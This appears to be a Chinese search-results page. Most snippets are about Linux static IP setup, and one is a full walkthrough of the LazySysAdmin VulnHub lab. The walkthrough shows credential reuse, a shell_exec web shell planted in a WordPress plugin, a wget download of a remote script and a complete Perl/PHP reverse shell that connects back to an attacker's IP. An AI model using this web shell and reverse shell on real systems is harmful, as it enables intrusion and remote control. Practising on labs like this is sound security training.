精华内容
下载资源
问答
  • 想设置Linux系统静态IP地址,使用vi /etc/sysconfig/network-scripts/ifcfg-ens33打开的编辑器是空的,ip addr 查出来的IP地址如下: 情况分析+解决方法 情况一:操作系统不同,ubantu系统 ubantu系统,通常...

    问题背景

    想设置Linux系统静态IP地址,使用vi /etc/sysconfig/network-scripts/ifcfg-ens33打开的编辑器是空的,用ip addr 查出来的IP地址如下:
    在这里插入图片描述

    情况分析+解决方法

    情况一:操作系统不同,用ubantu系统

    用ubantu系统,通常etc下连sysconfig这个目录都没有。
    不同发行版静态网卡配置不一样…
    Ubuntu 在 /etc/network/interfaces

    情况二:Linux版本、网卡接口不同

    • 同样是linux,有不同的发行版。例如,有 centos有fedora有rhel有ubuntu。即使是同一种发行版,版本号也可能有区别。centos可以有5和6,fedora可能有15和22等等。那么这样一来。两台 电脑上因为安装的系统不同,相应的有线网卡的表示方法就有可能不同。eth0、eth1等等 ethn样式的表述方式是较为传统的老式的有线网卡表示法。但是近些年的一些新版的linux大多数都已经不用这种办法了。
    • 还有 即使你和别人的系统一样,也有一些具体的区别,例如主机上有2个有线网卡接口。这2个接口,一个是eth0,另一个是 eth1。计算机在装系统时,网线可能链接在eth1上。那样,你就不能用vi去开启/etc/sysconfig/network-scripts/ifcfg-eth0了。

    解决方法:
    1.应该去/etc/sysconfig/network-scripts/目录下看看有哪些以ifcfg-为开头的文件。如果用eth1链接,则可能是/etc/sysconfig/network-scripts/ifcfg-eth1
    在这里插入图片描述
    笔者这里是ens33

    2.再输入查看修改就可以了
    在这里插入图片描述

    情况三:设置错误造成

    设置错误造成的,解决方法为:
    1、通过用户名和密码登陆Linux系统,修改IP需在root用户下才行。

    su root
    

    在这里插入图片描述

    2、修改IP配置文件:使用命令vi /etc/sysconfig/network-scripts/ifcfg-eth0。
    在这里插入图片描述

    3、按键盘i进入输入模式,根据需求修改对应IP,修改完成后按键盘ESC键,输入如wq退出并保存。

    在这里插入图片描述

    问题基本就以上三种情况,如果还是不行,欢迎留言讨论~

    展开全文
  • 我想在家部署一台服务器,不想花生壳和Nat123,一方面不想花这个钱,另一方面不想受制于这些工具,Nat123 TCP/IP有时候会出问题。 局域网IP也设成静态了,端口也映射了,电脑防火墙也关了。可是外网就是连不同...
  • IP切换软件

    2012-09-03 15:55:10
    快速设置静态IP或动态IP(直接修改或使用候选IP)。快速切换是根本,这年头,谁浪费的起时间啊? 快速保存当前配置为候选IP,以做备份与快速切换之。不同的IP不需要记在本子上,抄来写去的,放在这里,可备份,易...
  • 例如原来500件商品并已生成静态,今天刚添加完一百件,系统实时显示未生成静态的数据,而且可以只生成这一百件商品而无须全部生成,大大节约了时间。同时还增加ID段生成功能,根据商品起始ID进行生成静态,非常...
  • TCP/IP进行网际互联第三卷:客户-服务器编程与应用(Linux/POSIX套接字版) 基本信息 原书名:Internetworking With TCP/IP Vol Ⅲ:Client-Server Programming And Applications Linux/POSIX Sockets V 作者: ...
  • 我现在写了一个虚拟的网卡驱动,我现在想让开机自动加载它,并且在配置了静态IP后,在重启系统后,不用再通过ifconfig来配置IP地址,我应该怎么做? 我在加载了驱动以后,ifconfig -a可以看到我的网卡设备名称为...
  • 就发现了不管我防火墙打开对应的端口(2181,2888,3888等)还是直接关闭防火墙,telnet连接端口都不行(甚至连连接自己localhost都不行),(除了22号...
  • 单位一个总路由器,使用的是静态IP 然后每个办公室从这个路由器里面接一个线又装了一个路由器 有些办公室的路由器是链接的WAN口,有些连接的LAN口,所有有些路由器就是仅仅当交换机功能,有些是当成了二级路由器 ...
  • 我在virtualbox安装了ubuntu_14.4,然后ping www.baidu.com报ping:unknownhost的问题了一下午时间去查这个问题,最后发现是我在安装ubuntu过程时自己设置了ip,这样就选择了静态ip,估计是设置过程有什么问题所以...

    我在virtualbox安装了ubuntu_14.4,然后ping www.baidu.com报ping:unknownhost的问题

    用了一下午时间去查这个问题,最后发现是我在安装ubuntu过程时自己设置了ip,这样就选择了静态ip,估计是设置过程有什么问题所以ping不通外网;之后修改/etc/network/interfaces文件,把静态ip改为动态ip:

    配置静态IP地址:

    打开/etc/network/interfaces文件,内容为

    这是在安装过程配置的静态ip

    1
    2
    3
    4
    5
    6
    7
    8
    9
    auto lo
    iface lo inet loopback
     
    auto eth0
    iface eth0 inet static *******定义为静态IP
     
    address 192.168.2.29  *******所要设置的IP地址
    netmask 255.255.255.0 *******子网掩码
    gateway 192.168.2.1  *******网关(路由地址)

    然后修改为表示默认使用DHCP分配IP

    1
    2
    3
    4
    5
    auto lo
    iface lo inet loopback
     
    auto eth0
    iface eth0 inet dhcp

    恢复默认就可以ping通了。

    下一步需要考虑是什么原因导致配置的静态ip不能连接外网。


    展开全文
  • 他们的TCP/IP网络互联技术卷1、卷2、卷3在我国都影印版本。  Douglas E.Comer博士从20世纪70年代开始从事互联网的研究和开发工作,他曾是互联网体系结构委员会的成员,该委员会是确定互联网发展标准的权威机构...
  •  这个Ubuntu是装在笔记本上的,在宿舍有静态IP,在实验室无线网,IP自动获取。刚开始系统装好了,没有进行配置,开启无线网,就可以上网了。于是以为Ubuntu的网络配置做的挺好的哈。回到宿舍,配置好静态IP,和...

      这几天用Ubuntu11.04,被网络配置问题搞得很心烦。

      这个Ubuntu是装在笔记本上的,在宿舍有静态IP,在实验室用无线网,IP自动获取。刚开始系统装好了,没有进行配置,开启无线网,就可以上网了。于是以为Ubuntu的网络配置做的挺好的哈。回到宿舍,配置好静态IP,和DNS,打开网页,也可以上网了。挺不错的哈。

      可第二天,悲剧就来了。实验室无线网络没有什么问题,问题是回到宿舍后,不能上网了。ping一下,unreachable。看一下IP设置,是对的。于是networking重启一起,ping一下,也可以了,但还是不能上网。再看一下DNS。嗯?空的?昨天设好的dns被清空呢?怎么会这样呢?文件中还有一行注释,generated by network manager。难道是无线网络自动获取的时候把它给清空了?还是说是因为dns的设置在重启之后就清空的?于是试验了一下,重启,不能上网,查看ip和DNS,设置都是对的,networking 重启,可以上网了。看来应该是无线网络自动获取ip的时候把dns配置清空的。唉,这个ubuntu。。。

      还是简单说一下网络配置。ubuntu虽然有个network manager,但是设置之后似乎不管用,最好使用文件配置。分为设置ip和设置dns两步。

      第一步,设置ip。

      用root权限编辑文件/etc/network/interfaces , 有两行是

       auto lo

      iface lo inet loopback

      这两行一般都有,不需要更改。下面对本地网络进行配置,

      auto eth0

      iface eth0 inet static

      #这两句表示eth0使用静态ip地址(static)。

      #如果需要更改mac地址

      hwaddress ether xx:xx:xx:xx:xx:xx

      #ip 地址address x.x.x.x

      #网关gateway x.x.x.x

      #掩码netmask x.x.x.x

      #将dns设置在这里,似乎没有作用

      dns-nameserver x.x.x.x

      第二步,设置dns用root权限编辑 /etc/resolv.conf ,

      #添加dns

      nameserver 202.120.2.101

      nameserver x.x.x.x

      设置好之后,对网络服务重启,root权限命令如下,/etc/init.d/networking restart 。可以上网了。
      其他问题:

      如果是动态获取ip地址,那么将static改成dhcp,后面的ip地址就不用设置了。动态获取ip地址一般也与mac无关。

      如果是无线网络需要设置,那么对应的,将 eth0 改成 wlan0 .如果网络有问题,可以通过 ifconfig 查看当前网络状态,比如 eth0 是否有ipv4的地址,如果没有,那么先设置好,再重启网络服务。如果 有地址,而且ping有结果,但浏览器打不开网页,可能需要检查 dns设置了。

    转载于:https://www.cnblogs.com/Frandy/archive/2011/05/04/ubuntu_network_config.html

    展开全文
  • 以上两种方式有什么问题吗? 3、我网上查了挺多资料的了,当然可能有些重要的我没查到。 voip后台,是需要配合TCP/IP socket来实现的。但是说实在的我看不大懂要怎么去实现这样的后台运行,因为处理tcp连接...
  • 按照常规的思路,有80端口,首先上去看看有什么可以利用的,然而并没有可以的,一个纯静态页面,然后扫描目录,结果爆出phpmyadmin、wordpress有趣的东西 三、 漏洞利用 phpmyadmin 利用爆破工具进行爆破,然后...

    一、 环境准备

    一个lazysysadmin主机,一台有网卡的kali

    二、 信息收集

    1. 首先使用netdiscover确定靶机ip,再用nmap扫描端口
      在这里插入图片描述
    2. nmap扫描开放的端口,发现开放22、了445、3306有趣的端口
      在这里插入图片描述
    3. 按照常规的思路,有80端口,首先上去看看有什么可以利用的,然而并没有可以用的,一个纯静态页面,然后扫描目录,结果爆出phpmyadmin、wordpress有趣的东西
      在这里插入图片描述

    三、 漏洞利用

    1. phpmyadmin
      利用爆破工具进行爆破,然后失败
    2. wordpress
      打开发现是一个普通的wordpress站点,干干净净,但是发现一篇文章里面my name is togie重复了N次,记住这个文章
      在这里插入图片描述
    3. samba
      看下能不能连进去,命令
    mount -t cifs -o username='',password='' //192.168.106.140/share$ /mnt
    

    在这里插入图片描述
    从smaba发现竟然是一个WordPeess站点目录,那么能搞的事情就有很多了。
    解法一:ssh
    1.有一个todolist打开查看发现没什么用,还有个deets.txt文件打开之,发现弱口令12345,再结合页面出现的togie,尝试链接ssh看下,居然进去了。
    在这里插入图片描述
    在这里插入图片描述
    2.尝试切换一下目录,发现没有权限,那就试试看看togie用户有没有sudo的权限,然而又一次进去了,于是顺利拿到flag
    在这里插入图片描述
    在这里插入图片描述
    解法二:
    从smaba看到是一个wordpress站点,查看配置文件(wp目录下wp-config.php)
    在这里插入图片描述
    发现有phpmyadmin账号和密码,http://192.168.106.140/phpmyadmin
    登录phpmyadmin后,看下普通的into outfile能不能写shell,发现这是个残废的phpmyadmin
    在这里插入图片描述
    然后忽然想起,刚刚wpscan扫到了一个用户名,然后wordpress的密码是否会跟phpmyadmin的一样,尝试一下,成功登录
    在这里插入图片描述
    其实既然已经进入了控制面板,就可以有很多方式去写shell了,可以从主题模版的某些php文件中写,也可以看看插件中哪些可以利用。看到一个插件教hello,dolly,里面是打印一首叫“Hello Dolly”的各句歌词在页面右上角,那就从这里入手吧。
    将输出歌词的地方,换成我们执行命令的回显

    // And then randomly choose a line
    $lyrics = "<pre>".shell_exec($_GET['cmd'])."</pre>";
    return  wptexturize($lyrics);
    

    在这里插入图片描述
    既然已经有了RCE,只需要把反弹shell的php脚本传到靶机上就可以了。

    <?php
    function which($pr) {
    $path = execute("which $pr");
    return ($path ? $path : $pr);
    }
    function execute($cfe) {
    $res = '';
    if ($cfe) {
    if(function_exists('exec')) {
    @exec($cfe,$res);
    $res = join("\n",$res);
    } elseif(function_exists('shell_exec')) {
    $res = @shell_exec($cfe);
    } elseif(function_exists('system')) {
    @ob_start();
    @system($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    } elseif(function_exists('passthru')) {
    @ob_start();
    @passthru($cfe);
    $res = @ob_get_contents();
    @ob_end_clean();
    } elseif(@is_resource($f = @popen($cfe,"r"))) {
    $res = '';
    while(!@feof($f)) {
    $res .= @fread($f,1024);
    }
    @pclose($f);
    }
    }
    return $res;
    }
    function cf($fname,$text){
    if($fp=@fopen($fname,'w')) {
    @fputs($fp,@base64_decode($text));
    @fclose($fp);
    }
    }
    
    $yourip = "x.x.x.x"; //修改这里
    $yourport = "2333"; // 修改这里
    $usedb = array('perl'=>'perl','c'=>'c');
    $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
    "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
    "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
    "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    cf('/tmp/.bc',$back_connect);
    $res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
    ?>
    

    上传好之后,只需要在RCE处,wget下载到靶机即可
    http://192.168.106.140/wordpress/wp-admin/index.php
    ?cmd=wget https://gist.githubusercontent.com/akkayin/404e282652bda5c9c5f8f56f5953a8ff/raw/fb25d067a742cc2f30b874697178e046f17c6a93/rev.php
    然后就是kali开监听端口

    nc -lnvp 2333
    

    在浏览器中访问rev.php,成功
    进行一系列的命令操作后,发现没有TTY
    输入下面的命令

    python3 -c 'import pty; pty.spawn("/bin/bash")'
    

    到这里,如果是别的靶机,没有这样一个Lazy的Admin,你可以选择提权来获得root权限,但是既然作者这样为止,肯定要警示我们不要像这个lazyadmin一样有这里低级的陋习,所以我们就不需要走提权这条路了,直接用他给的密码登进去,如第一种解法一样即可。

    四、总结

    1. Penetration真的需要很多骚操作,条条大路通罗马
    2. 这个靶机实际上并不难,但作者想通过这种简单但是却普遍的Vulnerability来提醒广大admin不要把敏感信息直接存储在显而易见的地方
    3. 在penetrate之前,要重视信息收集的工作,每发现一些敏感或看似有用的信息,记得拿小本子记下来,在后面或许有奇效!!
    展开全文
  • 前端网址戳这里(请chrome手机模式预览) 移动端扫描下方二维码 后台管理系统网址 后台管理网址戳这里 目标功能 IP定位 -- 完成 城市列表 -- 完成 搜索地址 -- 完成 上传图片 -- 完成 添加商铺 -- ...
  • 2021-03-08

    2021-03-08 16:55:43
    进程之间tcp/ip端口来实现交互。 什么是线程 线程是进程中运行的一个单位,多个线程可以同时运行,当然每个线程都执行不同的任务了。线程也是系统能调度的最小单位。 注意点-多个线程共享一块内存,通过共享的内存...
  • 你必须知道的495个C语言问题

    千次下载 热门讨论 2015-05-08 11:09:25
    6.12 既然数组引用会退化为指针,如果array是数组,那么array和&array又有什么区别呢? 6.13 如何声明一个数组的指针? 动态数组分配 6.14 如何在运行时设定数组的大小?怎样才能避免固定大小的数组? 6.15 ...
  • C++程序员面试宝典

    热门讨论 2013-04-01 13:36:19
    面试题42 操作符优先级对运算结果有什么影响 43 面试题43 逻辑操作与其他操作的关系 45 面试题44 自增自减前操作与后操作的区别 46 面试题45 指针自增自减有什么不同 47 4.3 变量 47 面试题46 什么是左值和右值 48 ...
  • 4.3.7 这样的a.hashcode() 有什么用,与a.equals(b)有什么关系。 4.3.8 有没有可能2个不相等的对象有相同的hashcode。 4.3.9 Java中的HashSet内部是如何工作的。 4.4.0 什么是序列化,怎么序列化,为什么序列化,...
  • 1.5 这样的声明有什么问题?char *p1, p2; 我在使用p2的时候报错了。 3 1.6 我想声明一个指针,并为它分配一些空间,但却不行。这样的代码有什么问题?char *p; *p=malloc(10); 4 声明风格 4 1.7 怎样声明和...
  • Release版和Debug版有什么不同 Assert和Vertify有什么区别 如何修改开发环境的字体 Workspace和Project之间是什么样的关系 如何在非MFC程序中使用ClassWizard 如何设置条件断点 在编辑状态下发现成员变量或函数不能...
  • 13、服务断配置:可更改端口、密码IP通知采用Email通知和客户端内置服务器侍待两种通知方式,Email通知将你的动态IP和密码星星等发走,采用静态IP通知5分钟刷新一次; 14、增加系统安全性,用户需要密码才能访问...
  • Way v2.4 (远程控制)

    2006-01-13 09:51:35
    13、服务断配置:可更改端口、密码IP通知采用Email通知和客户端内置服务器侍待两种通知方式,Email通知将你的动态IP和密码星星等发走,采用静态IP通知5分钟刷新一次; 14、增加系统安全性,用户需要密码才能访问,可...
  • 《你必须知道的495个C语言问题》

    热门讨论 2010-03-20 16:41:18
    1.20 const char *p、char const *p和char *const p有什么区别? 10 复杂的声明 11 1.21 怎样建立和理解非常复杂的声明?例如定义一个包含N个指向返回指向字符的指针的函数的指针的数组? 11  1.22 如何声明...
  • IIS6.0 IIS,互联网信息服务

    热门讨论 2010-08-23 21:20:55
    (2)再依次选“默认Web站点→右键→属性→Web站点”,单击“IP地址”右侧的“高级”按钮,在“此站点多个标识下”双击已的那个IP地址(或单击选中它后再按“编辑”按钮),然后在“主机头名”下输入...
  • Linux常用的命令

    2014-09-21 19:43:32
    图形用户打开ldap: system-config-authentication /etc/init.d/NetworkManager status 查看状态 一般关闭,否则许多网络的服务不能起来 iptables –F 清空所有网卡规则 crontab(计划任务): 查看:crontab ...
  • o 7.9 既然数组引用会蜕化为指针, 如果 arr 是数组, 那么 arr 和 &arr 又有什么区别呢 ? o 7.10 我如何声明一个数组指针 ? o 7.11 我如何在运行期设定数组的大小 ? 我怎样才能避免固定大小的数组 ? o 7.12 ...
  • 思科网络技术学院教程CCNA1

    热门讨论 2013-05-28 06:37:53
     9.3.1 静态ip地址配置  9.3.2 利用dhcp进行动态ip地址配置  9.3.3 静态和dhcp地址分配的比较  9.3.4 在局域网上使用arp和代理arp  9.4 总结  9.5 检查你的理解  9.6 挑战性问题和实践 第10章 路由基础和子网...

空空如也

空空如也

1 2 3 4
收藏数 78
精华内容 31
关键字:

打开静态ip有什么用